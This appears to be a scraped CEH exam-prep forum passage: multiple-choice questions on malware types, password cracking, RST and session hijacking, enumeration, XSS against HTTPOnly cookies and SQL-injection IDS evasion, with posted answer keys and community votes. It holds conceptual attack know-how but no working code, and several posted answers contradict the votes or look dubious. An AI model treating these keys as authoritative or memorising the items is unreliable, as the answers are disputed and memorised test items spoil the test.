Keyword is the ethical hacker perform next.

upvoted 1 times

✉  kevin403 1 month, 2 weeks ago

Selected Answer: D

Key sentence " An ethical hacker is performing a network scan to evaluate the security of a company's IT infrastructure" his role here didn't mention anything about scanning for vuln nor having permission to do so. Hence he RST and move on.

Ethical hacking is all about getting the permission from the owner to do a specific task, in this case. Network scan only

upvoted 1 times

✉  GK2205 2 months, 1 week ago

Selected Answer: D

Another one that is tricky because of nuance: The Ethical Hacker is performing a network scan and not necessarily a vulnerability scan. Network scans do not traverse into vulnerability scans although if required we would do so. The context of the question is key here IMHO. One thing is very clear throughout the program, as a CEH your job is to do no harm and not to compromise. i.e. When you gain access to a sensitive database you are to report on it, not enter and potentially exploit it. Similarly here, your scope is a network scan, not a vulnerability scan. So RST and move on.

upvoted 2 times

✉  Truth\_Seeker 2 months, 2 weeks ago

I think the correct answer is D

it is a common practice across various network scanning tools to ensure that connections are properly managed and closed. Therefore, the conclusion about closing connections with a FIN or RST packet after a scan is applicable to most network scanners, not just Nmap

upvoted 1 times

✉  MustafaDDD 7 months ago

Selected Answer: B

I am just thinking, the question says, "An ethical hacker is performing a network scan to evaluate the security of a company's IT infrastructure", why would the hacker close the session?

upvoted 2 times

✉  qwerty100 7 months ago

Selected Answer: B

B. Conduct a vulnerability scan on the open port to identify any potential weaknesses.

upvoted 3 times

✉  qtygbapjpesdayazko 6 months, 2 weeks ago

This is the way.

He starts the connection on the port, why do a reset? so scan the port for vulns.

upvoted 1 times

✉  qwerty100 7 months ago

B. Conduct a vulnerability scan on the open port to identify any potential weaknesses.

upvoted 3 times

✉️👤 **insaniunt** 7 months, 2 weeks ago

Selected Answer: D

D, I think

The ethical hacker must send a FIN or RST packet to terminate the connection

upvoted 2 times

✉️👤 **xbsumz** 7 months, 2 weeks ago

Could someone help me confirm the validity of this ethical hacking technique

upvoted 1 times

A multinational corporation's computer system was infiltrated by an advanced persistent threat (APT). During forensic analysis, it was discovered that the malware was utilizing a blend of two highly sophisticated techniques to stay undetected and continue its operations.

Firstly, the malware was embedding its harmful code into the actual binary or executable part of genuine system files rather than appending or prepending itself to the files. This made it exceptionally difficult to detect and eradicate, as doing so risked damaging the system files themselves.

Secondly, the malware exhibited characteristics of a type of malware that changes its code as it propagates, making signature-based detection approaches nearly impossible.

On top of these, the malware maintained a persistent presence by installing itself in the registry, making it able to survive system reboots.

Given these distinctive characteristics, which two types of malware techniques does this malware most closely embody?

- A. Polymorphic and Metamorphic malware
- B. Polymorphic and Macro malware
- C. Macro and Rootkit malware
- D. Metamorphic and Rootkit malware

Correct Answer: D

*Community vote distribution*

D (63%)

A (38%)

✉️ 49f4430 4 months, 1 week ago

Selected Answer: A

For mw chat GPT say A, i will go for A  
upvoted 1 times

✉️ LordXander 6 months ago

Selected Answer: A

Guys...it's A for the following reasons:

Polymorphic as it hides as a genuine executable (polymorphic capabilities)  
Metamorphic - the malware changes its code.

It could've been C if it mentioned that it was not seen by antivirus solutions as rootkits would run at a lower lever (higher privileges) than antivirus and would be undetectable.

upvoted 2 times

✉️ LordXander 5 months, 3 weeks ago

It's actually D, because it is not polymorphic if it is just embedding into a file; metamorphic capabilities (changing its code as it propagates) and rootkit capabilities (registry install)  
upvoted 2 times

✉️ anarchyeagle 7 months ago

ChatGPT Why not D:

D. Metamorphic and Rootkit malware: While the malware does exhibit metamorphic characteristics, and its persistence could be seen as rootkit-like, the description focuses more on the malware's ability to change its code and embed itself in system files, which are hallmarks of polymorphic and metamorphic malware. Rootkits primarily focus on hiding the presence of malware, which, while possibly a feature of this malware, is not explicitly described in the scenario.

upvoted 1 times

✉️ qwerty100 7 months, 2 weeks ago

Selected Answer: D

D. Metamorphic and Rootkit malware  
upvoted 4 times

✉️ qtygbapjpesdayazko 6 months, 2 weeks ago

This is the way is a Metamorphic and a Rootkit malware  
upvoted 1 times

✉️  **xbsumz** 7 months, 2 weeks ago

Ethical hacking experts can you verify this procedure  
upvoted 2 times

✉️  **insaniunt** 7 months, 2 weeks ago

Selected Answer: D

Polymorphic: The malware changes its code as it propagates, making signature-based detection approaches nearly impossible. This aligns with the characteristics of polymorphic malware.

Rootkit: The malware installs itself in the registry, ensuring a persistent presence and the ability to survive system reboots. This behavior is typical of rootkit malware, which often hides its presence and maintains control over the compromised system by integrating itself deeply into the operating system, often in the registry or kernel lev

upvoted 1 times

As a certified ethical hacker, you are performing a system hacking process for a company that is suspicious about its security system. You found that the company's passwords are all known words, but not in the dictionary. You know that one employee always changes the password by just adding some numbers to the old password. Which attack is most likely to succeed in this scenario?

- A. Brute-Force Attack
- B. Password Spraying Attack
- C. Hybrid Attack
- D. Rule-based Attack

Correct Answer: D

*Community vote distribution*

C (59%)

D (41%)

✉️  Binx 1 month, 3 weeks ago

if the password is explicitly stated as not being in the dictionary, a standard hybrid attack might not be as effective, because it relies on a combination of dictionary words and brute-force techniques.

Given this scenario, the most appropriate answer would likely be:

- D. Rule-based Attack
- upvoted 1 times

✉️  7d8c2c7 1 month, 3 weeks ago

C. Hybrid Attack  
CEH v12 Page 604

hybrid Attack This type of attack depends on the dictionary attack. Often, people change their passwords merely by adding some numbers to their old passwords. In this case, the program would add some numbers and symbols to the words from the dictionary to try to crack the password. For example, if the old password is "system," then there is a chance that the person will change it to "system1" or "system2."

upvoted 1 times

✉️  GK2205 2 months, 1 week ago

Selected Answer: D

Attackers use rule-based attacks when they have some knowledge of the passwords and see evidence of simple salts and peppers like "123" at the end of the password. This question is garbage in terms of it's wording, but does combine the two fundamental concepts of rule-based.

upvoted 1 times

✉️  g\_man\_rap 5 months ago

D. Rule-based Attack

Rule-based attacks are a sophisticated form of brute-force/dictionary attacks where the attacker defines complex rules based on typical user behavior of password creation (like replacing 'o' with '0', adding years at the end, etc.). This can be highly effective if you understand the common modifications users make to base words in their passwords.

upvoted 1 times

✉️  qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: C

C. Hybrid Attack

Key word Often, people change their passwords merely by adding some numbers to their old passwords.

upvoted 1 times

✉️  Lalo 6 months, 1 week ago

answer dddddddddd dddd dddd dddd dddd dddd

A hybrid attack combines elements of a dictionary attack with specific rules, such as adding numbers or symbols to the ends of dictionary words. In theory, this type of attack could fit well with the pattern observed in this employee's password changes, since it is based on predefined rules.

However, the reason answer C is not selected as the most likely option in this scenario is because, given the information provided, there is no mention of employees using dictionary words as the basis for their passwords. Instead, passwords are stated to be known words with the addition of numbers.

upvoted 1 times

✉️  Lalo 6 months, 1 week ago

remember ...company's passwords are all known words, BUT NOT in the dictionary...

upvoted 1 times

✉  Labas01 6 months, 2 weeks ago

Selected Answer: D

This is a more powerful attack than disctionary and brute-force attacks because the cracker knows the password type." (M06 P604)  
upvoted 1 times

✉  dobarb 6 months, 3 weeks ago

Is C. Hybrid attack, as the first comment says, at page 604 of CEH there is clearly written this attack works when people changes the password by just adding some numbers to the old password.

upvoted 2 times

✉  qtygbapjpesdayazko 7 months ago

Selected Answer: C

D. Rule-based Attack

upvoted 1 times

✉  qtygbapjpesdayazko 6 months, 2 weeks ago

well the correct is in fact

C. Hybrid Attack

upvoted 1 times

✉  athicalacker 7 months ago

Selected Answer: D

The question mentions the words are not in the dictionary. So it can't be hybrid since it utilizes dictionary of known words.

upvoted 2 times

✉  LeongCC 7 months, 1 week ago

Selected Answer: C

C: Hybrid Attack

upvoted 1 times

✉  sosindi 7 months, 1 week ago

Selected Answer: C

Hybrid Attack

upvoted 1 times

✉  insanaint 7 months, 2 weeks ago

Selected Answer: C

Hybrid Attack: This type of attack depends on the dictionary attack. Often, people change their passwords merely by adding some numbers to the old passwords. In this case, the program would add some numbers and symbols to the words from the dictionary to try to crack the password. For example, if the old password is "system," then there is a chance that the person will change it to "system1" or "system2"

upvoted 3 times

✉  qtygbapjpesdayazko 6 months, 2 weeks ago

This is the way

upvoted 1 times

✉  Unr34l 7 months, 2 weeks ago

C. Hybrid Attack

A hybrid attack combines elements of both dictionary attacks (known words) and brute-force attacks (trying all possible combinations, including modifications like adding numbers). In this case, the attacker leverages the knowledge that the passwords are known words but also incorporates variations by adding numbers. Hybrid attacks are effective in situations where there are patterns or rules applied to password creation, as is the case in the described scenario.

upvoted 2 times

✉  JustAName 7 months, 2 weeks ago

Selected Answer: D

I think answer is D, because it specify "known words, but NOT dictionary". Hybrid attack combined with known words from dictionary, so rule-based should be a more accurate answer.

upvoted 3 times

✉  athicalacker 7 months ago

I agree with this.

upvoted 1 times

✉  qtygbapjpesdayazko 6 months, 2 weeks ago

This is the way

upvoted 1 times

✉  qtygbapjpesdayazko 6 months, 2 weeks ago

well the correct is in fact

C. Hybrid Attack

upvoted 1 times

cloudgangster 7 months, 3 weeks ago

Selected Answer: C

C check pg 604 CEH V12

upvoted 3 times

Question #209

Topic 1

A security analyst is investigating a potential network-level session hijacking incident. During the investigation, the analyst finds that the attacker has been using a technique in which they injected an authentic-looking reset packet using a spoofed source IP address and a guessed acknowledgment number. As a result, the victim's connection was reset. Which of the following hijacking techniques has the attacker most likely used?

- A. Blind hijacking
- B. UDP hijacking
- C. RST hijacking
- D. TCP/IP hijacking

Correct Answer: C

*Community vote distribution*

C (100%)

insaniunt 7 months, 1 week ago

Selected Answer: C

module 11 page 1562 from CEH v12 book

upvoted 1 times

przemyslaw1 7 months, 2 weeks ago

Selected Answer: C

RST hijacking involves injecting an authentic-looking reset (RST) packet using spoofed source address and predicting the acknowledgment number.  
upvoted 3 times

Nopez 7 months, 2 weeks ago

RST Hijacking

RST hijacking involves injecting an authentic-looking reset (RST) packet using spoofed source address and predicting the acknowledgment number.  
The hacker can reset the victim's connection if it uses an accurate acknowledgement number.

The victim believes that the source actually sent the reset packet and resets the connection.

RST Hijacking can be carried out using a packet crafting tool such as Colasoft's Packet Builder and TCP/IP analysis tool such as tcpdump.  
upvoted 1 times

xbsumz 7 months, 2 weeks ago

Team can you confirm if this is accurate

upvoted 1 times

During a red team engagement, an ethical hacker is tasked with testing the security measures of an organization's wireless network. The hacker needs to select an appropriate tool to carry out a session hijacking attack. Which of the following tools should the hacker use to effectively perform session hijacking and subsequent security analysis, given that the target wireless network has the Wi-Fi Protected Access-pre-shared key (WPA-PSK) security protocol in place?

- A. Hetty
- B. bettercap
- C. DroidSheep
- D. FaceNiff

Correct Answer: **B**

*Community vote distribution*

B (67%) C (22%) 11%

✉️  **kinaJ** 2 months ago

- A. Hetty: is primarily used for HTTP and HTTPS proxy and session manipulation, but it is not specifically designed for session hijacking in wireless networks.  
B. bettercap: is a comprehensive and flexible network attack and monitoring tool that supports a wide range of attacks. It is well-suited for performing attacks on various network protocols and can be used to capture and manipulate traffic, making it effective for session hijacking in a WPA-PSK network.  
C. DroidSheep: is an Android application used for session hijacking on unencrypted Wi-Fi networks.  
D. FaceNiff: is another tool designed for session hijacking but is specifically tailored for capturing sessions over unsecured (HTTP) networks.

upvoted 1 times

✉️  **GK2205** 2 months, 1 week ago

**Selected Answer: B**

The difference here is between trying to compromise the network or devices on the network. Bettercap is for the network, most others here are for compromising devices.

upvoted 1 times

✉️  **GK2205** 2 months, 1 week ago

BTW - Bettercap does do hijacking also (HID, Bluetooth). Failed to highlight that fact in my original comment. it also does IP v4 / v6 MITM.  
upvoted 1 times

✉️  **LordXander** 6 months ago

**Selected Answer: B**

I would go with B, because it is in the labs and EC likes to put questions about the tools they talk in detail about

upvoted 1 times

✉️  **mossj** 6 months, 1 week ago

**Selected Answer: B**

B. bettercap

CEHv12. 1026

bettercap is a portable framework written in Go that allows security researchers, red teamers, and reverse engineers to perform reconnaissance and various attacks on Wi-Fi networks, Bluetooth low energy devices, wireless HID devices, and IPv4/IPv6 networks.

key here is and subsequent security analysis

upvoted 1 times

✉️  **anarchyeagle** 7 months ago

ChatGPT:

B. bettercap

Explanation:

bettercap: is a powerful, flexible, and portable tool designed for network attacks and monitoring. It is well-suited for a wide range of network attack scenarios, including session hijacking on wireless networks. bettercap is capable of performing Man-in-the-Middle (MitM) attacks, which are essential for session hijacking. It can sniff network traffic, capture cookies, and exploit various network protocols to hijack sessions. Its capabilities make it a suitable choice for attacking networks with WPA-PSK security, as it can work after gaining access to the network or when conducting attacks within the network perimeter.

upvoted 1 times

 Miro009900 4 months, 1 week ago

Stop using ChatGPT all the time. Its mostly wrong.  
upvoted 1 times

 sosindi 7 months, 1 week ago

Bettercap - is a comprehensive network attack and monitoring framework suitable for various types of attacks, including session hijacking, on wireless networks with WPA-PSK security protocols.

Hetty is a tool for wireless network analysis and auditing but does not specialize in session hijacking attacks.

DroidSheep and FaceNiff are Android applications designed for session hijacking attacks targeting mobile devices, specifically over Wi-Fi networks  
upvoted 1 times

 brrbrr 7 months, 1 week ago

Selected Answer: B

B. bettercap

upvoted 1 times

 duke\_of\_kamulu 7 months, 1 week ago

I think the key WORD is SESSION HIJACKING - The DroidSheep tool is used for session hijacking on Android devices connected to a common wireless network. It obtains the session ID of active users on the Wi-Fi network and uses it to access a website as an authorized user. A DroidSheep user can easily observe the activities of authorized users on websites. It can also hijack social accounts by obtaining the session ID.

upvoted 1 times

 sosindi 7 months, 1 week ago

Selected Answer: C

DroidSheep

upvoted 1 times

 przemyslaw1 7 months, 2 weeks ago

Selected Answer: D

FaceNiff is an Android app that allows a user to sniff and intercept web-session profiles over the WiFi network that the user's mobile device is connected to. Although FaceNiff can hijack sessions only when the WiFi network does not use the Extensible Authentication Protocol (EAP), it works on any private network, including open, Wired Equivalent Privacy (WEP), Wi-Fi Protected Access–pre-shared key (WPA-PSK), and WPA2-PSK networks.

upvoted 1 times

 przemyslaw1 7 months, 2 weeks ago

Selected Answer: C

DroidSheep is a simple Android tool for web session hijacking

upvoted 1 times

 przemyslaw1 7 months, 2 weeks ago

DroidSheep can capture sessions using the libpcap library and it supports OPEN networks, WEP encrypted networks, and WPA and WPA2 (PSK only) encrypted networks.

upvoted 1 times

 xbsumz 7 months, 2 weeks ago

Could someone help me confirm the accuracy of this data

upvoted 1 times

 insanint 7 months, 2 weeks ago

Selected Answer: B

B. bettercap

upvoted 2 times

As a certified ethical hacker, you are tasked with gaining information about an enterprise's internal network. You are permitted to test the network's security using enumeration techniques. You successfully obtain a list of usernames using email IDs and execute a DNS Zone Transfer. Which enumeration technique would be most effective for your next move given that you have identified open TCP ports 25 (SMTP) and 139 (NetBIOS Session Service)?

- A. Perform a brute force attack on Microsoft Active Directory to extract valid usernames
- B. Exploit the NetBIOS Session Service on TCP port 139 to gain unauthorized access to the file system
- C. Use SNMP to extract usernames given the community strings
- D. Exploit the NFS protocol on TCP port 2049 to gain control over a remote system

Correct Answer: **B**

*Community vote distribution*

B (48%) C (43%) 10%

✉  **przemyslaw1** Highly Voted  7 months, 2 weeks ago

Selected Answer: B

B. Exploit the NetBIOS  
SNMP uses UDP ports 161 and 162  
upvoted 9 times

✉  **John07** 5 months, 4 weeks ago

Exploit the NetBIOS Session Service on TCP port 139 to gain unauthorized access to the file system - it's not an enumeration techniques. Correct answer is C.  
upvoted 1 times

✉  **qtygbapjpesdayazko** 6 months, 2 weeks ago

Base on ports available is B NetBIOS  
upvoted 1 times

✉  **noyon2002** Most Recent  1 month, 2 weeks ago

A Brute force active directory, it is the 3rd step in techniques for enumeration :  
CEH V12 Module 4 Page 403  
upvoted 1 times

✉  **noyon2002** 1 month, 2 weeks ago

My bad miss read the question, it is mentioned Port 25 SMTP, so it is C the , 6th step in enumeration CEH V12 Module 5 Page 403  
upvoted 1 times

✉  **49f4430** 4 months, 1 week ago

Selected Answer: A

A  
Nothing about 161 and 162, B is a attack..that leave us with A :validate the usernames  
upvoted 1 times

✉  **pranav10** 4 months, 3 weeks ago

Selected Answer: C

CEHv12 page number 404  
upvoted 1 times

✉  **jrbobson** 5 months ago

Selected Answer: C

Enumeration is the key - C  
upvoted 1 times

✉  **Rafael\_Fontana** 5 months ago

Selected Answer: B

You already have usernames so.... Am I missing something?  
upvoted 1 times

✉  **duke\_of\_kamulu** 6 months, 1 week ago

GUYS AGAIN i repeat answers is C go to page 403,404 and check you will find its clear the steps they are six  
upvoted 2 times

Spam\_Protection 6 months, 3 weeks ago

Selected Answer: A

You need to validate your usernames. You can do this brute forcing Active Directory.

Module 4: Techniques for Enumeration section - ▪ Brute force Active Directory Microsoft Active Directory is susceptible to username enumeration at the time of user-supplied input verification. This is a design error in the Microsoft Active Directory implementation. If a user enables the "logon hours" feature, then all the attempts at service authentication result in different error messages. Attackers take advantage of this to enumerate valid usernames. An attacker who succeeds in extracting valid usernames can conduct a brute-force attack to crack the respective passwords.

upvoted 1 times

sosindi 7 months, 1 week ago

A,

We already extracted emails usernames- "successfully obtained a list of usernames using email IDs and execute a DNS Zone Transfer" the next would be A now to exploit netbios.

upvoted 2 times

duke\_of\_kamulu 7 months, 1 week ago

according to CEHv12 they follow systematic flow shown clearly on the table pg 403 1-6 so C get Techniques for Enumeration step six last step is Extract usernames using SNMP

upvoted 1 times

JustAName 7 months, 2 weeks ago

Selected Answer: C

I'd choose C because exploitation and brute force attacks are typically considered post-enumeration activities and consider too invasive to be "enumeration" activity

upvoted 1 times

insaniunt 7 months, 2 weeks ago

Selected Answer: C

just pay attention, the question asking for "Which enumeration technique", not about perform attack or exploit something

upvoted 3 times

sosindi 7 months, 1 week ago

We already extracted emails usernames- "successfully obtained a list of usernames using email IDs and execute a DNS Zone Transfer" the next would be A now to exploit netbios.

upvoted 1 times

cloudgangster 7 months, 3 weeks ago

Selected Answer: C

c, check ceh v12 pg 403

upvoted 3 times

A large corporate network is being subjected to repeated sniffing attacks. To increase security, the company's IT department decides to implement a combination of several security measures. They permanently add the MAC address of the gateway to the ARP cache, switch to using IPv6 instead of IPv4, implement the use of encrypted sessions such as SSH instead of Telnet, and use Secure File Transfer Protocol instead of FTP. However, they are still faced with the threat of sniffing. Considering the countermeasures, what should be their next step to enhance network security?

- A. Use HTTP instead of HTTPS for protecting usernames and passwords
- B. Implement network scanning and monitoring tools
- C. Enable network identification broadcasts
- D. Retrieve MAC addresses from the OS

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉  duke\_of\_kamulu 7 months ago

ANSWER IS A because threat is all about sniffing so even one gets those packets are encrypted  
upvoted 1 times

✉  qwerty100 7 months ago

pay attention it says HTTP not https  
upvoted 4 times

✉  duke\_of\_kamulu 7 months ago

wah you saved me big time thnx thnx it not see that ANSWER is B  
upvoted 1 times

✉  insanaint 7 months, 2 weeks ago

Selected Answer: B

B. Implement network scanning and monitoring tools.  
Network scanning and monitoring tools can help detect and identify suspicious activities, including sniffing attacks.  
upvoted 1 times

As the chief security officer at SecureMobile, you are overseeing the development of a mobile banking application. You are aware of the potential risks of man-in-the-middle (MitM) attacks where an attacker might intercept communication between the app and the bank's servers. Recently, you have learned about a technique used by attackers where they use rogue Wi-Fi hotspots to conduct MitM attacks. To prevent this type of attack, you plan to implement a security feature in the mobile app. What should this feature accomplish?

- A. It should require two-factor authentication for user logins.
- B. It should prevent the app from communicating over a network if it detects a rogue access point.
- C. It should prevent the app from connecting to any unencrypted Wi-Fi networks.
- D. It should require users to change their password every 30 days.

Correct Answer: **B**

*Community vote distribution*

C (88%)      13%

✉ **Spam\_Protection** Highly Voted 6 months, 3 weeks ago

Selected Answer: C

This question sucks. If the mobile banking app used TLS or IPSEC who ever controlled the network wouldn't matter. Poor questions like this make me question the validity of the material between 126 and 249.

upvoted 7 times

✉ **49f4430** Most Recent 4 months, 1 week ago

Selected Answer: C

C

The app itself can not detect a rogue AP but can force an encryption to run  
upvoted 1 times

✉ **qtygbapjpesdayazko** 6 months, 2 weeks ago

Selected Answer: C

The practical way to detect this is to prevent open SSIDs. Keyword "rogue Wi-Fi hotspots to conduct MitM attacks".  
upvoted 1 times

✉ **qtygbapjpesdayazko** 6 months, 3 weeks ago

Selected Answer: C

C. It should prevent the app from connecting to any unencrypted Wi-Fi networks.  
upvoted 1 times

✉ **athicalacker** 7 months ago

Selected Answer: B

Option B. This feature helps ensure that the app only communicates over trusted and secure networks, mitigating the risk of interception and manipulation of sensitive data by attackers operating rogue Wi-Fi hotspots.  
upvoted 1 times

✉ **brrbrr** 7 months, 1 week ago

Selected Answer: C

C - This feature helps protect against MitM attacks by ensuring that the mobile app only communicates over encrypted Wi-Fi networks. Unencrypted Wi-Fi networks are more susceptible to interception, making it easier for attackers to perform MitM attacks. By enforcing the use of encrypted Wi-Fi connections, the app enhances the security of data in transit, reducing the risk of unauthorized interception and tampering.  
upvoted 1 times

✉ **calx5** 7 months, 1 week ago

Selected Answer: C

The question mentioned that Wi-Fi hotspots conduct MitM attacks. MitM should be an unencrypted network.  
upvoted 1 times

✉ **ryotan** 7 months, 2 weeks ago

Selected Answer: B

B  
Only preventing the app from connecting to any unencrypted wi-fi does not help. You need a feature to detect a rogue AP. An easy example is the legit wifi uses SSID aaa password bbb  
The rogue AP is setup with the same SSID and PW can make MitM possible.  
upvoted 1 times

✉️  insanint 7 months, 2 weeks ago

Selected Answer: C

C. It should prevent the app from connecting to any unencrypted Wi-Fi networks.  
upvoted 2 times

Question #214

Topic 1

A cyber attacker has initiated a series of activities against a high-profile organization following the Cyber Kill Chain Methodology. The attacker is presently in the "Delivery" stage. As an Ethical Hacker, you are trying to anticipate the adversary's next move. What is the most probable subsequent action from the attacker based on the Cyber Kill Chain Methodology?

- A. The attacker will attempt to escalate privileges to gain complete control of the compromised system.
- B. The attacker will exploit the malicious payload delivered to the target organization and establish a foothold.
- C. The attacker will initiate an active connection to the target system to gather more data.
- D. The attacker will start reconnaissance to gather as much information as possible about the target.

Correct Answer: B

*Community vote distribution*

B (100%)

✉️  LordXander 6 months ago

Selected Answer: B

Because...long live cyber kill chain (I will not miss it from CTIA)  
upvoted 1 times

✉️  qtygbapjpesdayazko 6 months, 3 weeks ago

Selected Answer: B

Is B.

B then A

upvoted 1 times

✉️  insanint 7 months, 2 weeks ago

Selected Answer: B

B. The attacker will exploit the malicious payload delivered to the target organization and establish a foothold.  
upvoted 4 times

You are a cloud security expert at CloudGuard Inc. working with a client who plans to transition their infrastructure to a public cloud. The client expresses concern about potential data breaches and wants to ensure that only authorized personnel can access certain sensitive resources. You propose implementing a Zero Trust security model. Which of the following best describes how the Zero Trust model would enhance the security of their cloud resources?

- A. It operates on the principle of least privilege, verifying each request as if it is from an untrusted source, regardless of its location.
- B. It encrypts all data stored in the cloud, ensuring only authorized users can decrypt it.
- C. It uses multi-factor authentication for all user accounts.
- D. It ensures secure data transmission by implementing SSL/TLS protocols.

Correct Answer: A

*Community vote distribution*

A (100%)

✉️ 🚩 LordXander 6 months ago

Selected Answer: A

Zero trust means no trust and A says exactly that  
upvoted 1 times

✉️ 🚩 insanaint 7 months, 2 weeks ago

Selected Answer: A

A. It operates on the principle of least privilege, verifying each request as if it is from an untrusted source, regardless of its location.

The Zero Trust security model is based on the principle of least privilege, which means that no user, system, or application is trusted by default. It requires verification for every request, even if it's originating from within the trusted network.  
upvoted 4 times

Your company, Encryptor Corp, is developing a new application that will handle highly sensitive user information. As a cybersecurity specialist, you want to ensure this data is securely stored. The development team proposes a method where data is hashed and then encrypted before storage. However, you want an added layer of security to verify the integrity of the data upon retrieval. Which of the following cryptographic concepts should you propose to the team?

- A. Switch to elliptic curve cryptography.
- B. Implement a block cipher mode of operation.
- C. Apply a digital signature mechanism.
- D. Suggest using salt with hashing.

Correct Answer: C

*Community vote distribution*

C (100%)

✉️ 🚩 insanaint 7 months, 2 weeks ago

Selected Answer: C

C. Apply a digital signature mechanism.

To ensure the integrity of the data upon retrieval, a digital signature mechanism can be employed. Digital signatures provide a way to verify the authenticity and integrity of data by using asymmetric cryptography.

upvoted 3 times

As part of a penetration testing team, you've discovered a web application vulnerable to Cross-Site Scripting (XSS). The application sanitizes inputs against standard XSS payloads but fails to filter out HTML-encoded characters. On further analysis, you've noticed that the web application uses cookies to track session IDs. You decide to exploit the XSS vulnerability to steal users' session cookies. However, the application implements HTTPOnly cookies, complicating your original plan. Which of the following would be the most viable strategy for a successful attack?

- A. Build an XSS payload using HTML encoding and use it to exploit the server-side code, potentially disabling the HTTPOnly flag on cookies.
- B. Develop a browser exploit to bypass the HTTPOnly restriction, then use a HTML-encoded XSS payload to retrieve the cookies.
- C. Utilize an HTML-encoded XSS payload to trigger a buffer overflow attack, forcing the server to reveal the HTTPOnly cookies.
- D. Create a sophisticated XSS payload that leverages HTML encoding to bypass the input sanitization, and then use it to redirect users to a malicious site where their cookies can be captured.

Correct Answer: C

*Community vote distribution*

D (86%)

14%

✉️  qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: D

The correct id D:

upvoted 1 times

✉️  insaniunt 7 months, 1 week ago

Selected Answer: D

D. Create a sophisticated XSS payload that leverages HTML encoding to bypass the input sanitization, and then use it to redirect users to a malicious site where their cookies can be captured

upvoted 1 times

✉️  LeongCC 7 months, 1 week ago

Selected Answer: D

D. Create a sophisticated XSS payload that leverages HTML encoding to bypass the input sanitization, and then use it to redirect users to a malicious site where their cookies can be captured, focuses on redirection or other client-side manipulations rather than directly bypassing HTTPOnly protections. This method adheres to the constraints and aims to exploit the vulnerability in a way that can lead to compromising the user's session or data indirectly, such as through phishing or other deceptive means at the redirected location.

upvoted 1 times

✉️  lukinno 7 months, 1 week ago

Selected Answer: D

From Copilot:

B. Develop a browser exploit to bypass the HTTPOnly restriction, then use a HTML-encoded XSS payload to retrieve the cookies.

This option is more promising. If you can find a browser vulnerability or exploit (such as a same-origin policy bypass), you might be able to access the HTTPOnly cookies from client-side JavaScript.

However, finding such an exploit can be challenging, and it's not a guaranteed method.

Potentially viable, but difficult.

D. Create a sophisticated XSS payload that leverages HTML encoding to bypass the input sanitization, and then use it to redirect users to a malicious site where their cookies can be captured.

This strategy is practical. By crafting a clever XSS payload that evades input sanitization, you can execute arbitrary JavaScript on the victim's browser.

Redirecting users to a malicious site allows you to capture their cookies.

Most viable option.

upvoted 1 times

✉️  kennels 7 months, 1 week ago

Selected Answer: D

<https://www.shorebreaksecurity.com/blog/xss-exploitation-with-xhr-response-chaining/>

upvoted 2 times

✉️  przemyslaw1 7 months, 1 week ago

Selected Answer: B

B. Develop a browser exploit to bypass the HTTPOnly restriction, then use a HTML-encoded XSS payload to retrieve the cookies.

upvoted 1 times

 **qtygbapjpesdayazko** 7 months, 2 weeks ago

I'm a bit hesitant about the effectiveness of this CEH technique  
upvoted 2 times

An ethical hacker is testing the security of a website's database system against SQL Injection attacks. They discover that the IDS has a strong signature detection mechanism to detect typical SQL injection patterns. Which evasion technique can be most effectively used to bypass the IDS signature detection while performing a SQL Injection attack?

- A. Employ IP fragmentation to obscure the attack payload
- B. Implement case variation by altering the case of SQL statements
- C. Leverage string concatenation to break identifiable keywords
- D. Use Hex encoding to represent the SQL query string

Correct Answer: D

*Community vote distribution*

D (67%)

A (33%)

✉️  49f4430 4 months, 1 week ago

Ok D but why not C? it also evade IDS and chatGPT says is more easy to implement  
upvoted 1 times

✉️  LordXander 6 months ago

Selected Answer: D  
I would go with D because A is more specific with bypassing network traffic...  
upvoted 1 times

✉️  LordXander 6 months ago

Also I really doubt the usage of "obscure" for the payload  
upvoted 1 times

✉️  qtygbapjpesdayazko 6 months, 2 weeks ago

Selected Answer: D  
The most efective "D. Use Hex encoding to represent the SQL query string"

Hex encoding is an evasion technique that uses hexadecimal encoding to represent a string. Attackers use hex encoding to obfuscate the SQL query so that it will not be detected in the signatures of security measures, as most IDS do not recognize hex encodings. Attackers exploit such IDS to bypass their SQL injection crafted inputs. Hex encoding provides countless ways for attackers to obfuscate each URL.  
upvoted 1 times

✉️  Spam\_Protection 6 months, 3 weeks ago

Selected Answer: D  
D: Module 15, it has its own section.  
upvoted 1 times

✉️  Bobite 6 months, 4 weeks ago

Selected Answer: D  
Might be D because A can't be a good answer. The server IS sending to the bdd so can't be splitted  
upvoted 1 times

✉️  anarchyeagle 7 months ago

C. Leverage string concatenation to break identifiable keywords: String concatenation involves splitting SQL keywords and data within the injection payload, making it harder for signature-based IDS systems to match the payload against known SQL injection patterns. This technique can effectively obscure the malicious SQL code, making it less likely to be detected by signature-based detection mechanisms.  
upvoted 1 times

✉️  brrbrr 7 months, 1 week ago

Selected Answer: D  
D. Hex encoding involves representing characters in hexadecimal format, which can help obfuscate the SQL query string. By encoding the SQL injection payload in hexadecimal, an attacker can evade signature-based detection mechanisms that typically rely on detecting specific SQL injection patterns or keywords.  
Its not A, because IP fragmentation is more related to evading network-based detection mechanisms, and it may not be as effective against signature-based detection focused on SQL injection patterns.  
upvoted 1 times

✉️  lukinno 7 months, 1 week ago

Selected Answer: D  
Options B (case variation) and D (Hex encoding) are the most effective strategies for bypassing IDS signature detection during SQL injection attacks.

If I have to choose one I vote D  
upvoted 1 times

✉ **qwerty100** 7 months, 2 weeks ago

Selected Answer: A

I think it's A:

(Module 15 Page 2334)

Evasion Technique: IP Fragmentation An attacker intentionally splits an IP packet to spread the packet across multiple small fragments. Attackers use this technique to evade an IDS or WAF. For an IDS or WAF to detect an attack, it must first reassemble the packet fragments. Usually, it is impossible to find a match between the attack string and a signature as each packet is checked individually. These small fragments can be further modified to complicate reassembly and detection of an attack payload.

upvoted 4 times

✉ **insaniunt** 7 months, 2 weeks ago

Selected Answer: D

D. Use Hex encoding to represent the SQL query string

upvoted 2 times

✉ **clougangster** 7 months, 3 weeks ago

I think its D

upvoted 1 times

Question #219

Topic 1

You have been hired as an intern at a start-up company. Your first task is to help set up a basic web server for the company's new website. The team leader has asked you to make sure the server is secure from common threats. Based on your knowledge from studying for the CEH exam, which of the following actions should be your priority to secure the web server?

- A. Limiting the number of concurrent connections to the server
- B. Installing a web application firewall
- C. Regularly updating and patching the server software
- D. Encrypting the company's website with SSL/TLS

Correct Answer: C

*Community vote distribution*

C (60%)

D (40%)

✉ **obadawi** 2 months, 3 weeks ago

